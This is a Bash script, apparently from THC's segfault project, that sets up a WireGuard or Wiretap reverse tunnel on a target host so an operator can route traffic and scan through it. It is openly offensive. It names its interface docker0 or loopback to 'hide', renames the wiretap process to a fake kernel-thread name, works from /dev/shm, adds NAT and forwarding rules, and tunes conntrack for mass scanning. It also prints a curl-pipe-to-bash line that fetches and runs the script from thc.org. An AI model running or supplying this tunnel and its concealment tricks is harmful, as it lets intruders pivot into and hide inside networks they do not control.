segfault/contrib/sfwg
2024-04-13 20:29:03 +01:00

434 lines
14 KiB
Bash
Executable File

#! /usr/bin/env bash
# This script sets a WireGuard or Wiretap reverse tunnel on a target host.
# The X= configuration is supplied by 'curl sf/net/up'. Thereafter:
# X=<VERSION>-<PRIV>-<PUB>-<ENDPOINT>-<ALLOWED_IPS>
# X=$X ./sfwg
# Variables:
#
# SF_DEBUG=1 Enable debug information and start WT in the foreground
# TYPE="wireguard:wiretap" Force WireGuard or Wiretap or both
# Test IPv6:
# curl -I 'http://[2606:4700:4700::1111]'
# ping6 2606:4700:4700::1111
init_color()
{
# shellcheck disable=SC2034 # Unused
CY="\e[1;33m" # yellow
CG="\e[1;32m" # green
CR="\e[1;31m" # red
CC="\e[1;36m" # cyan
# CM="\e[1;35m" # magenta
# CW="\e[1;37m" # white
CB="\e[1;34m" # blue
CF="\e[2m" # faint
CN="\e[0m" # none
# CBG="\e[42;1m" # Background Green
# night-mode
CDR="\e[0;31m" # red
CDG="\e[0;32m" # green
CDY="\e[0;33m" # yellow
CDB="\e[0;34m" # blue
CDM="\e[0;35m" # magenta
CDC="\e[0;36m" # cyan
CUL="\e[4m"
}
[[ -t 1 ]] && init_color
[[ -z $WITHOUT_IPV6 ]] && WITH_IPV6=1
[[ -z $WITHOUT_TUNE ]] && WITH_TUNE=1
[[ -z $TYPE ]] && TYPE="wireguard:wiretap"
[[ -z $UID ]] && UID=$(id -u)
ERR(){ echo -e >&2 "[${CR}ERROR${CN}] $*"; }
ERREXIT()
{
local code
code="$1"
shift 1
ERR "$@"
exit "$code"
}
WARN()
{
echo -e >&2 "[${CDY}WARN${CN}] $*"
}
x2data()
{
local IFS
local str
local ip
IFS="-"
CONF=($X)
[[ ${#CONF[@]} -lt 4 ]] && ERREXIT 255 "X= is not a valid configuration string."
[[ ${#CONF[1]} -ne 44 ]] && ERREXIT 255 "X= does not contain a valid private key."
[[ ${#CONF[2]} -ne 44 ]] && ERREXIT 255 "X= does not contain a valid public key."
[[ -z $SF_VER ]] && SF_VER=${CONF[0]//[^0-9]}
PRIV=${CONF[1]}
PEER=${CONF[2]}
EP=${CONF[3]}
[[ -z $SF_VER ]] && ERREXIT 255 "X= contains a bad version number."
str=${CONF[4]}
str="${str//[^0-9a-f,x:.\/]}"
[[ -n $str ]] && {
# Format: "172.16.0.x/16,fd:16::x/104"
ip=${str%%,*}
PEER_ADDRESS="${ip//x/0}" # 172.16.0.0/16
ip=${ip%/*}
ADDRESS="${ip//x/1}/32" # 172.16.0.0/32
# IPv6
ip=${str##*,}
PEER_ADDRES6="${ip//x/0}" # fd:16::0/104
ip=${ip%/*}
ADDRES6="${ip//x/1}/128" # fd:16::1/128
}
[[ -z $ADDRESS ]] && ADDRESS="172.16.0.1/32"
[[ -z $ADDRES6 ]] && ADDRES6="fd:16::1/128"
[[ -z $PEER_ADDRESS ]] && PEER_ADDRESS="172.16.0.0/16"
[[ -z $PEER_ADDRES6 ]] && PEER_ADDRES6="fd:16::0/104"
}
# Delete any IPT rule and add new one
ipt()
{
local first
local table
table=$1
first=$2
shift 2
iptables -t "$table" -D "$@" 2>/dev/null # Delete old rule.
iptables -t "$table" "$first" "$@"
}
ipt6()
{
local first
local table
table=$1
first=$2
shift 2
ip6tables -t "$table" -D "$@" 2>/dev/null # Delete old rule.
ip6tables -t "$table" "$first" "$@"
}
sysinc()
{
local key
local val
key=$1
val=$2
[[ $(sysctl -n "$key") -ge $val ]] && return
sysctl -q -w "${key}=${val}" || WARN "Could not set '${key}=${val}'"
}
sysdec()
{
local key
local val
key=$1
val=$2
[[ $(sysctl -n "$key") -le $val ]] && return
sysctl -q -w "${key}=${val}" || WARN "Could not set '${key}=${val}'"
}
# Tune Network for scanning.
tune()
{
sysinc net.netfilter.nf_conntrack_max 2097152
sysdec net.netfilter.nf_conntrack_tcp_timeout_syn_sent 10
sysdec net.netfilter.nf_conntrack_tcp_timeout_syn_recv 5 # default is 30, 5 because of wg tunnel
sysdec net.netfilter.nf_conntrack_tcp_timeout_last_ack 5 # default is 30
sysdec net.netfilter.nf_conntrack_tcp_timeout_fin_wait 10 # default is 120
sysdec net.netfilter.nf_conntrack_tcp_timeout_close 1 # default is 10
sysdec net.netfilter.nf_conntrack_tcp_timeout_close_wait 10 # default is 60
sysdec net.netfilter.nf_conntrack_tcp_timeout_unacknowledged 30 # default is 300
sysdec net.netfilter.nf_conntrack_tcp_timeout_established 10800 # 3h, default is 5 days
sysdec net.netfilter.nf_conntrack_icmp_timeout 10 # default is 30
sysdec net.netfilter.nf_conntrack_udp_timeout 10 # default is 30
# sysdec net.netfilter.nf_conntrack_udp_timeout_stream=120 # default is 120
}
wg_find_dev()
{
local notexist
local str
local dev
# If user did not specify a device then find
# an available wireguard device.
[[ -z $WG_DEV ]] && {
# Try to 'hide' as any of these interfaces
for dev in docker0 loopback docker1 sf0; do
# Record a device that doesnt exist
str=$(ip -details link show "${dev}" 2>/dev/null) || { [[ -z $notexist ]] && notexist="${dev}"; }
[[ ${str} == *wireguard* ]] && { WG_DEV="${dev}"; break; } # Found old wireguard device.
done
[[ -z $WG_DEV ]] && WG_DEV="${notexist}"
[[ -z $WG_DEV ]] && ERREXIT 255 "Could not find a free device name. Try ${CDC}export WG_DEV=Blah0${CN}"
}
### Check if it exists.
ip link show dev "${WG_DEV}" &>/dev/null && ERREXIT 255 "Device ${CDM}${WG_DEV}${CN} already exists.
Try ${CDC}ip link del ${WG_DEV}${CN} or to use a different device try ${CDC}export WG_DEV=Blah0${CN}"
}
wg_up()
{
local fn
local addr
command -v ip >/dev/null || { ERR "ip not found. Try ${CDC}apt-get install iproute2${CN}"; return 255; }
command -v wg >/dev/null || { ERR "${CDM}WireGuard${CN} not installed.\nTry ${CDC}apt install wireguard${CN} or ${CDC}export TYPE=wiretap${CN} to force ${CDM}Wiretap${CN} instead."; return 255; }
command -v sysctl >/dev/null || { ERR "sysctl not found. Try ${CDC}apt-get install procps${CN}"; return 255; }
command -v iptables >/dev/null || { ERR "iptables not found. Try ${CDC}apt-get install iptables${CN}"; return 255; }
command -v ip6tables >/dev/null || { WARN "ip6tables not found. Disabling IPv6"; unset WITH_IPV6; }
wg_find_dev
[[ $(sysctl -n net.ipv6.conf.all.disable_ipv6 2>/dev/null) -ne 0 ]] && {
unset WITH_IPV6
WARN "IPv6 disabled. Try ${CDC}sysctl -w net.ipv6.conf.all.disable_ipv6=0${CN}"
}
[[ $(sysctl -n net.ipv4.ip_forward) -eq 0 ]] && sysctl -q -w net.ipv4.ip_forward=1
[[ $(sysctl -n net.ipv6.conf.all.forwarding) -eq 0 ]] && sysctl -q -w net.ipv6.conf.all.forwarding=1
ip link del "${WG_DEV:?}" &>/dev/null
ip link add "${WG_DEV}" type wireguard || return 255
fn="/dev/shm/private.$$"
echo "$PRIV" >"${fn}"
addr="${PEER_ADDRESS}"
[[ -n $WITH_IPV6 ]] && addr+=",${PEER_ADDRES6}"
# addr="0.0.0.0/0"
wg set "${WG_DEV}" private-key "${fn}" peer "$PEER" allowed-ips "${addr}" endpoint "${EP}" persistent-keepalive 25 || { ip link del "${WG_DEV}"; return 255; }
rm -f "${fn}"
ip -4 address add "${ADDRESS}" dev "${WG_DEV}" || { ip link del "${WG_DEV}"; return 255; }
[[ -n $WITH_IPV6 ]] && { ip -6 address add "${ADDRES6}" dev "${WG_DEV}" || unset WITH_IPV6; }
ip link set mtu 1420 up dev "${WG_DEV}"
ip -4 route add "${PEER_ADDRESS}" dev "${WG_DEV}"
[[ -n $WITH_IPV6 ]] && { ip -6 route add "${PEER_ADDRES6}" dev "${WG_DEV}" || unset WITH_IPV6; }
[[ $(iptables -L FORWARD -n) != *"policy ACC"* ]] && {
ipt filter -I FORWARD -i "${WG_DEV}" -j ACCEPT
ipt filter -I FORWARD -o "${WG_DEV}" -j ACCEPT
}
[[ -n $WITH_IPV6 ]] && [[ $(ip6tables -L FORWARD) != *"policy ACC"* ]] && {
ipt6 filter -I FORWARD -i "${WG_DEV}" -j ACCEPT
ipt6 filter -I FORWARD -o "${WG_DEV}" -j ACCEPT
}
ipt nat -A POSTROUTING -s "${PEER_ADDRESS}" -j MASQUERADE
[[ -n $WITH_IPV6 ]] && ipt6 nat -A POSTROUTING -s "${PEER_ADDRES6}" -j MASQUERADE
[[ -n $WITH_TUNE ]] && tune
echo -e "\
${CDG}SUCCESS${CN} - ${CDM}WireGuard${CN} started on ${CDY}${WG_DEV}${CN}.
For status: ${CDC}wg show ${WG_DEV}${CN}
To stop : ${CDC}ip link del ${WG_DEV}${CN}
Check the connection on your server:
${CDC}curl sf/net/show${CN}"
return 0
}
# Download wiretap
wt_dl()
{
local arch
local url
command -v tar >/dev/null || ERREXIT 255 "tar not found. Try ${CDC}apt install tar${CN}"
arch=$(uname -m)
url="https://github.com/sandialabs/wiretap/releases/download/v0.2.1/wiretap_0.2.1_${OS}_amd64.tar.gz"
if [[ $arch == aarch64 ]] || [[ $arch == arm64 ]]; then
url="https://github.com/sandialabs/wiretap/releases/download/v0.2.1/wiretap_0.2.1_${OS}_arm64.tar.gz"
elif [[ $arch == i686 ]] || [[ $arch == i386 ]]; then
url="https://github.com/sandialabs/wiretap/releases/download/v0.2.1/wiretap_0.2.1_${OS}_386.tar.gz"
elif [[ $arch == *"armv"* ]]; then
url="https://github.com/sandialabs/wiretap/releases/download/v0.2.1/wiretap_0.2.1_${OS}_armv6.tar.gz"
fi
[[ -f wiretap ]] && rm -f wiretap
touch wiretap 2>/dev/null || {
cd /dev/shm || ERREXIT 255 "Change to a writeable directory"
touch wiretap || ERREXIT 255 "Change to a writeable directory."
}
rm -f wiretap
echo -e "Downloading ${CDM}Wiretap${CN}..."
IS_DOWNLOADED=1
command -v curl >/dev/null && {
DL_CMD="curl -fsSL '$url' | tar xfvz - wiretap"
curl -fsSL "$url" | tar xfz - wiretap && return
}
command -v wget >/dev/null && {
DL_CMD="wget -qO- '$url' | tar xfvz - wiretap"
wget -qO- "$url" | tar xfz - wiretap && return
}
unset IS_DOWNLOADED
[[ -f wiretap ]] && rm -f wiretap &>/dev/null # stale file
ERREXIT 255 "Failed to download ${CDM}Wiretap${CN}. Download it from
${CDB}${CUL}https://github.com/sandialabs/wiretap/releases${CN}
and start is manually:
${CDC}wiretap serve --private \"${PRIV}\" --public \"${PEER}\" --endpoint \"${EP}\"${CN}"
}
addenv()
{
local varname
local value
varname=$1
value=$2
eval export "${varname}"="\$value"
ENVSTR+="${varname}='${value}' \\ "$'\n'
}
wt_up()
{
local is_has_pidof
local err
local addr
local pid
local pidstr
local cmd_checkrunning
local arg
local n
local killname
[[ -z $OSTYPE ]] && {
command -v uname >/dev/null || ERREXTI 255 "uname not found. Try ${CDC}apt install coreutils${CN}"
OSTYPE=$(uname -s)
}
OSTYPE="${OSTYPE,,}"
OS="linux"
[[ $OSTYPE == *darwin* ]] && OS="darwin"
killname="wiretap"
cmd_checkrunning=()
CMD_PKILL="killall"
command -v pkill >/dev/null && CMD_PKILL="pkill"
if command -v pidof >/dev/null; then
is_has_pidof=1
cmd_checkrunning=("pidof" "[updated]")
pid=$(pidof '[updated]') && ERREXIT 255 "${CDM}Wiretap${CN} is already running with PID ${CDY}${pid}${CN}. To stop: ${CDC}${CMD_PKILL} '${killname}'${CN}"
elif command -v pkill >/dev/null; then
[[ $OS == "darwin" ]] && killname="\[updated\]"
cmd_checkrunning=("pkill" "-0" "${killname}")
"${cmd_checkrunning[@]}" && ERREXIT 255 "${CDM}Wiretap${CN} is already running. To stop: ${CDC}pkill '${killname}'${CN}"
elif command -v killall >/dev/null; then
cmd_checkrunning=("killall" "-0" "wiretap")
"${cmd_checkrunning[@]}" && ERREXIT 255 "${CDM}Wiretap${CN} is already running. To stop: ${CDC}killall '${killname}'${CN}"
fi
[[ -d wiretap ]] && { ERR "Directory ${CDY}./wiretap${CN} is in the way"; return 255; }
if [[ -f wiretap ]]; then
WARN "Using existing ${CDM}./wiretap${CN}"
else
wt_dl
fi
peer_addr="${PEER_ADDRESS}"
[[ -n $WITH_IPV6 ]] && peer_addr+=",${PEER_ADDRES6}"
# CWD may have changed by wt_dl
unset ENVSTR
## 0.2.0 < wiretap <=0.2.1
addenv WIRETAP_INTERFACE_PRIVATEKEY "$PRIV"
addenv WIRETAP_PEER_PUBLICKEY "${PEER}"
addenv WIRETAP_PEER_ENDPOINT "${EP}"
## wiretap >=0.3.1
addenv WIRETAP_RELAY_INTERFACE_PRIVATEKEY "${PRIV}"
addenv WIRETAP_RELAY_PEER_PUBLICKEY "${PEER}"
addenv WIRETAP_RELAY_PEER_ENDPOINT "${EP}"
addenv WIRETAP_SIMPLE "true"
if [[ -z $SF_DEBUG ]]; then
PATH=".:$PATH" exec -a '[updated]' wiretap serve -q --allowed "${peer_addr}" &>/dev/null &
else
PATH=".:$PATH" ./wiretap serve --allowed "${peer_addr}"
fi
[[ ${#cmd_checkrunning[@]} -gt 0 ]] && {
n=0
err=1
while [[ $n -lt 5 ]]; do
"${cmd_checkrunning[@]}" >/dev/null && { unset err; break; }
((n++))
sleep 0.5
done
if [[ -z $err ]]; then
[[ -n $is_has_pidof ]] && pidstr=" with pid=${CDY}$(pidof '[updated]')${CN}"
else
WARN "Failed to start wiretap."
echo -e "To run in the foreground:"
[[ -n $IS_DOWNLOADED ]] && echo -e "${CDC}${DL_CMD:-<download wiretap>}${CN}"
echo -e "${CDC}${ENVSTR}./wiretap serve --allowed '${peer_addr}'${CN}"
fi
}
[[ -n $IS_DOWNLOADED ]] && rm -f wiretap
[[ -n $err ]] && return
# problem with gVisor DNAT & wt <=0.3.0 TCP mixup
WARN "${CDM}Wiretap${CN} is ${CDR}not good${CN} for scanning.
---> Masscan : ${CDC}-e wgExit --adapter-ip 172.16.0.3-172.16.128.2 --adapter-port 1024-33791${CN}"
[[ -z $IS_WG_TRIED ]] && {
echo -e "\
Alternatively use ${CDM}WireGuard:${CDC}
${CMD_PKILL} '${killname}'
export TYPE=wireguard
X=\"\$X\" bash -c \"\$(curl -fsSL https://thc.org/sfwg)\"${CN}"
}
echo -e "\
${CDG}SUCCESS${CN} - ${CDM}Wiretap${CN} started as ${CDY}[updated]${CN}${pidstr} in the background.
---> To stop : ${CDC}${CMD_PKILL} '${killname}'${CN}"
}
[[ -z $X ]] && ERREXIT 255 "The variable ${CDY}X=${CN} is not set. Try
${CDC}X=<YourConfigurationString> bash -c \"\$(curl -fsSL https://thc.org/sfwg)\"${CN}"
x2data
[[ ${TYPE} == *wireguard* ]] && IS_WG=1
[[ ${TYPE} == *wiretap* ]] && IS_WT=1
[[ -n $IS_WG ]] && [[ $UID -eq 0 ]] && {
echo -e "${CF}---[[ Attempting WireGuard ]]---------------------------------------------${CN}"
IS_WG_TRIED=1
wg_up && exit
[[ -z $IS_WT ]] && exit # Giving up
}
[[ $IS_WT ]] && {
echo -e "${CF}---[[ Attempting Wiretap ]]-----------------------------------------------${CN}"
wt_up && exit
[[ -n $IS_WG_TRIED ]] && exit
}
[[ $IS_WG ]] && [[ $UID -ne 0 ]] && ERREXIT 255 "WireGuard requires root. Try ${CDC}export TYPE=wiretap${CN} instead."
ERREXIT 255 "Set ${CDM}export TYPE=wiretap${CN} or ${CDM}export TYPE=wireguard${CN}"